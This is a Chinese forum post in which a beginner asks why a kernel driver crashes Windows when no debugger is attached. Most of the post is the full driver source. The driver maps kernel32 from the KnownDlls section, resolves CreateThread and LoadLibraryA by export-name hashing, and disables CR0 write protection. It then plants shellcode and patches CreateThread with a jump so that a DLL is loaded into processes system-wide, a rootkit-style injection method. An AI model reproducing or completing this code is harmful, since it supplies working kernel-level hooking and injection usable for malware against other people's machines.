本人刚刚学习驱动,想根据sudami大虾的思路写一个SYS加载DLL。结果出现一个很bug的问题,当vmware连着windbg时,驱动能够正常加载DLL,当vmware未连接windbg时,就会蓝屏。我想了很久也没找到解决方案
,请各位大虾指教~ 附上源代码:
#include "Driver.h"
#include <ntddk.h>
#include "PE_Def.h"
//PVOID pCreateThreadBase=NULL;
//LONGLONG originBackup=0,hookBackup=0;
unsigned char origin[5];
unsigned char shellcode[]=
"\x60\x9c\x68\x11\x11\x11\x11\x58\x33\xdb\x53\xbb\x75\x64\x61\x6d"
"\x53\xbb\x63\x3a\x5c\x73\x53\x54\xff\xd0\x58\x5b\x5b\x9d\x61";
char * __stdcall GetFunctionByName(unsigned int ImageBase,int hash,int flen)
{
_asm{
nop
nop
nop
nop
nop
CLD ; clear flag DF
mov eax,hash
push eax ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
mov ebp, ImageBase ; ebp = base address of kernel32.dll
// find_lib_functions:
lodsd ; load next hash into al and increment esi
// find_functions:
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions
next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop ebx
nop
nop
nop
nop
}
}
int mystricmp(char *src,char *dest)
{
while((*src==*dest)||(((*src)-'A'+'a')==*dest)||*src==((*dest)-'A'+'a'))
{
if(*src)
{
src++;
dest++;
continue;
}
return 0;
}
return -1;
}
/************************************************************************
* 函数名称:DriverEntry
* 功能描述:初始化驱动程序,定位和申请硬件资源,创建内核对象
* 参数列表:
pDriverObject:从I/O管理器中传进来的驱动对象
pRegistryPath:驱动程序在注册表的中的路径
* 返回 值:返回初始化驱动状态
*************************************************************************/
//#pragma INITCODE
#define MY_KERNEL32_DLL L"\\KnownDlls\\kernel32.dll"
//#define MY_CREATETHREAD L"CreateThread"
extern "C" NTSTATUS DriverEntry (
IN PDRIVER_OBJECT pDriverObject,
IN PUNICODE_STRING pRegistryPath )
{
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
NTSTATUS status;
PIMAGE_DOS_HEADER p_dos_hdr;
PIMAGE_NT_HEADERS32 p_nt_hdr;
PIMAGE_FILE_HEADER p_file_hdr;
PIMAGE_OPTIONAL_HEADER32 p_opt_hdr;
PIMAGE_SECTION_HEADER p_sect_hdr;
PVOID p_mem=NULL;
char *p_te=NULL;
// KdPrint(("Enter DriverEntry\n"));
//#if DBG
// _asm int 3
//#endif
//注册其他驱动调用函数入口
pDriverObject->DriverUnload = HelloDDKUnload;
for (int i = 0; i < arraysize(pDriverObject->MajorFunction); ++i)
pDriverObject->MajorFunction[i] = HelloDDKDispatchRoutine;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HelloDDKDeviceIOControl;
//创建驱动设备对象
status = CreateDevice(pDriverObject);
pDevObj=pDriverObject->DeviceObject;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING DLLUnicodeString;
HANDLE hSection;
ULONG size=0,off;
PVOID pBaseAddr=NULL;
char *pCreateThreadEntry=NULL,*pLoadLibraryEntry=NULL;
RtlInitUnicodeString( &DLLUnicodeString,
MY_KERNEL32_DLL);
//初始化objectAttributes
InitializeObjectAttributes(&objectAttributes,
&DLLUnicodeString,
OBJ_CASE_INSENSITIVE,//对大小写敏感
NULL,
NULL );
status=ZwOpenSection(&hSection,SECTION_ALL_ACCESS,&objectAttributes);
if (NT_SUCCESS(status))
{
// KdPrint(("Open Section successfully\n"));
}
status=ZwMapViewOfSection(hSection,NtCurrentProcess(),&pBaseAddr,0,0,0,&size,ViewShare,MEM_TOP_DOWN,PAGE_READWRITE);
if (NT_SUCCESS(status))
{
// KdPrint(("Map Section successfully\n"));
}
ZwClose(hSection);
p_dos_hdr=(PIMAGE_DOS_HEADER)pBaseAddr;
if ( p_dos_hdr->e_magic != IMAGE_DOS_SIGNATURE) {
// KdPrint(("unrecognized file format\n"));
}
p_nt_hdr = (PIMAGE_NT_HEADERS32)((char *)p_dos_hdr + p_dos_hdr->e_lfanew);
if ( p_nt_hdr->Signature != IMAGE_NT_SIGNATURE) {
// KdPrint(("invalid PE file, no NT signature found\n"));
}
// get other hdrs
p_file_hdr = &p_nt_hdr->FileHeader;
p_opt_hdr = &p_nt_hdr->OptionalHeader;
p_sect_hdr = (PIMAGE_SECTION_HEADER)((char *)p_nt_hdr + sizeof(IMAGE_NT_HEADERS32));
for (int i=0; i<p_file_hdr->NumberOfSections; i++, p_sect_hdr++) {
if ( !mystricmp( ".text", (char*)p_sect_hdr->Name)) {
break;
}
}
p_mem=pBaseAddr;
pCreateThreadEntry=GetFunctionByName((unsigned int)pBaseAddr,0x2729f8bb,12);
pDevExt->pCreateThreadEntry=pCreateThreadEntry;
pLoadLibraryEntry=GetFunctionByName((unsigned int)pBaseAddr,0x0c917432,12);
p_te=(char *)p_mem+p_sect_hdr->VirtualAddress+p_sect_hdr->Misc.VirtualSize;
KdPrint(("P_te=%d\n",(unsigned int)p_te));
unsigned char jmp_ins[5] = { '\xe9', 0, 0, 0, 0};
LONGLONG exchange=0,compare=0;
off=p_te-pCreateThreadEntry-5;
*(unsigned long *)(jmp_ins+1)=off;
memcpy(&exchange,pCreateThreadEntry,8);
memcpy(&compare,(char *)&exchange,8);
memcpy(&(pDevExt->originBackup),(char *)&exchange,8);
memcpy((char *)&exchange,jmp_ins,5);
memcpy(&(pDevExt->hookBackup),(char *)&exchange,8);
memcpy(origin,pCreateThreadEntry,5);
memcpy(shellcode+3,(char *)&pLoadLibraryEntry,4);
_asm
{
cli
push eax
mov eax,cr0
and eax,0xfffeffff
mov cr0,eax
pop eax
}
memcpy(p_te,shellcode,31);
memcpy(p_te+31,origin,5);
off=pCreateThreadEntry+5-(p_te+31+10-5)-5;
*(unsigned long *)(jmp_ins+1)=off;
memcpy(p_te+31+5,jmp_ins,5);
ExInterlockedCompareExchange64((volatile LONGLONG *)pCreateThreadEntry,&exchange,&compare,NULL);
_asm
{
push eax
mov eax,cr0
or eax,0x10000
mov cr0,eax
pop eax
sti
}
// KdPrint(("DriverEntry end\n"));
return STATUS_SUCCESS;
}
/************************************************************************
* 函数名称:CreateDevice
* 功能描述:初始化设备对象
* 参数列表:
pDriverObject:从I/O管理器中传进来的驱动对象
* 返回 值:返回初始化状态
*************************************************************************/
#pragma INITCODE
NTSTATUS CreateDevice (
IN PDRIVER_OBJECT pDriverObject)
{
NTSTATUS status;
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
//创建设备名称
UNICODE_STRING devName;
RtlInitUnicodeString(&devName,L"\\Device\\MyDDKDevice");
//创建设备
status = IoCreateDevice( pDriverObject,
sizeof(DEVICE_EXTENSION),
&(UNICODE_STRING)devName,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&pDevObj );
if (!NT_SUCCESS(status))
return status;
pDevObj->Flags |= DO_BUFFERED_IO;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
pDevExt->pDevice = pDevObj;
pDevExt->ustrDeviceName = devName;
//创建符号链接
UNICODE_STRING symLinkName;
RtlInitUnicodeString(&symLinkName,L"\\??\\HelloDDK");
pDevExt->ustrSymLinkName = symLinkName;
status = IoCreateSymbolicLink( &symLinkName,&devName );
if (!NT_SUCCESS(status))
{
IoDeleteDevice( pDevObj );
return status;
}
return STATUS_SUCCESS;
}
/************************************************************************
* 函数名称:HelloDDKUnload
* 功能描述:负责驱动程序的卸载操作
* 参数列表:
pDriverObject:驱动对象
* 返回 值:返回状态
*************************************************************************/
#pragma PAGEDCODE
VOID HelloDDKUnload (IN PDRIVER_OBJECT pDriverObject)
{
PDEVICE_OBJECT pNextObj;
// KdPrint(("Enter DriverUnload\n"));
pNextObj = pDriverObject->DeviceObject;
while (pNextObj != NULL)
{
PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)
pNextObj->DeviceExtension;
//删除符号链接
UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;
IoDeleteSymbolicLink(&pLinkName);
pNextObj = pNextObj->NextDevice;
IoDeleteDevice( pDevExt->pDevice );
}
}
/************************************************************************
* 函数名称:HelloDDKDispatchRoutine
* 功能描述:对读IRP进行处理
* 参数列表:
pDevObj:功能设备对象
pIrp:从IO请求包
* 返回 值:返回状态
*************************************************************************/
#pragma PAGEDCODE
NTSTATUS HelloDDKDispatchRoutine(IN PDEVICE_OBJECT pDevObj,
IN PIRP pIrp)
{
// KdPrint(("Enter HelloDDKDispatchRoutine\n"));
NTSTATUS status = STATUS_SUCCESS;
// 完成IRP
pIrp->IoStatus.Status = status;
pIrp->IoStatus.Information = 0; // bytes xfered
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
// KdPrint(("Leave HelloDDKDispatchRoutine\n"));
return status;
}
#pragma PAGEDCODE
NTSTATUS HelloDDKDeviceIOControl(IN PDEVICE_OBJECT pDevObj,
IN PIRP pIrp)
{
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_EXTENSION pDevExt;
// KdPrint(("Enter HelloDDKDeviceIOControl\n"));
//得到当前堆栈
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);
//得到输入缓冲区大小
ULONG cbin = stack->Parameters.DeviceIoControl.InputBufferLength;
//得到输出缓冲区大小
ULONG cbout = stack->Parameters.DeviceIoControl.OutputBufferLength;
//得到IOCTL码
ULONG code = stack->Parameters.DeviceIoControl.IoControlCode;
ULONG info = 0;
switch (code)
{ // process request
case IOCTL_TEST1:
{
// KdPrint(("IOCTL_TEST1\n"));
_asm
{
cli
push eax
mov eax,cr0
and eax,0xfffeffff
mov cr0,eax
pop eax
}
ExInterlockedCompareExchange64((volatile LONGLONG *)(pDevExt->pCreateThreadEntry),&(pDevExt->originBackup),&(pDevExt->hookBackup),NULL);
_asm
{
push eax
mov eax,cr0
or eax,0x10000
mov cr0,eax
pop eax
sti
}
break;
}
default:
status = STATUS_INVALID_VARIANT;
}
// 完成IRP
pIrp->IoStatus.Status = status;
pIrp->IoStatus.Information = info; // bytes xfered
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
// KdPrint(("Leave HelloDDKDeviceIOControl\n"));
return status;
}
[课程]FART 脱壳王!加量不加价!FART作者讲授!
上传的附件: